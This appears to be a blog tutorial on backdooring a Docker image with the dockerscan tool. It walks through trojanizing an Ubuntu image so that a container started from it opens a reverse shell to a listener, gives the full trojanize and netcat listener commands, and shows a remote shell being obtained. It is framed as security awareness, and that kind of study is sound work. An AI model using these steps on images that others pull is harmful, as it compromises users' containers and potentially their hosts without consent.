Docker Security : Backdooring Images with Dockerscan
In the world of IT and Security, a “backdoor” refers to a (often, secret) portal that lets an admin access a system remotely, bypassing the normal authentication protocols. While a legitimate user can install a secret backdoor on software services for maintainence or troubleshooting, attackers can leverage these, or even install their own backdoors for malicious intent.
It is very common to see people downloading publicly available apps or softwares, which may be malicious. If the app happens to install a “backdoor” on your system, an attacker can remotely access the filesystem or even execute commands on the host operating system.
With a rise in demand for Docker in the DevOps world, more and more applications and services are being containerized, and hosted on public registries such as dockerhub. Hence, one must be very cautious while installing Docker images on their machines, as they too, could serve a malicious intent.
In this article, we shall see how we can install a backdoor on an existing docker image (and infect it), and how we can gain remote access on a target’s machine. For this, we’ll be making use of dockerscan.
We shall use the Ubuntu base image and infect it. When this infected image is running, we shall see how we can get a reverse shell from the target’s machine.
To begin with, install python (3.6 or greater), git and docker. Then, run the following commands :
$ git clone https://github.com/cr0hn/dockerscan
$ cd dockerscan
$ sudo python3.6 setup.py install
Now that we have dockerscan installed, let’s pull up the latest ubtunu image, and save it on our machine as “ubuntu_original”:
$ docker pull ubuntu:latest
$ docker save ubuntu:latest -o ubuntu_original
For dockerscan to work, we need to export the following enviroment variables :
$ export LC_ALL=C.UTF-8
$ export LANG=C.UTF-8
Now, that we have dockerscan working, and a copy of the ubuntu base image, we shall set up the backdoor. We shall execute the following command :
dockerscan image modify trojanize ubuntu_original -l <IP_Addr> -p <PORT> -o alpine_infected
Let’s break this command down and try to understant it. It’s basically saying, “Hey, dockerscan, I am going to use the image, ‘ubuntu_original’. I need you to modify it by trojanizing it (backdoor). Save the infected image as ‘ubuntu_infected’. Once someone creates a container from ‘ubuntu_infected’, I shall be listening for response on the given IP Address and Port.”
Sounds simple, yeah? Let’s try it out.
But before proceeding, run ifconfig
to get your IP address.
In my case, the IP Address will be 172.17.0.1
Now, let’s run the command :
$ dockerscan image modify trojanize ubuntu_original -l 172.17.0.1 -p 8081 -o ubuntu_infected
On running it successfully, you may see the following output depending on the IP Address and Port :
[ * ] Starting analyzing docker image...
[ * ] Selected image: 'ubuntu_original'
[ * ] Image troyanized successful
[ * ] Trojanized image location:
[ * ] > /home/mayank/ubuntu_infected.tar
[ * ] To receive the reverse shell, only write:
[ * ] > nc -v -k -l 172.17.0.1 8081
On reading the output, you will see that dockerscan gives you the command to execute, to receive a reverse shell from the target machine :
$ nc -v -k -l 172.17.0.1 8081
You may see the following output :
> Listening on [172.17.0.1] (family 0, port 8081)
But, to get some response, the target needs to spin up a container from our image ‘ubuntu_infected’. Just to test it out, lets open another terminal and run a container off this infected image. We should be able to control the shell inside this container (which would be your target) from the above terminal window.
$ docker load -i ubuntu_infected.tar
$ docker run -it ubuntu:latest
Now, when you go back to the terminal with the netcat listener running, you can may see the following output :
Listening on [172.17.0.1] (family 0, port 8081)
Connection from 172.17.0.2 56084 received!
connecting people
Now, try executing some commands, and you’ll notice that they are being directly executed on the infected container.
Backdoors are just one of the few methods out there to get access to a container. But, why would anyone want to access the container? Often, attackers want to get access to the underlying host machine through volume mounts. A volume mount is a file directory on a container which is directly shared by the host machine. So, getting access to a volume mount would mean getting access to a host machine.
I shall cover the topic “privilege escalation using volume mounts” soon! :)
Thank you.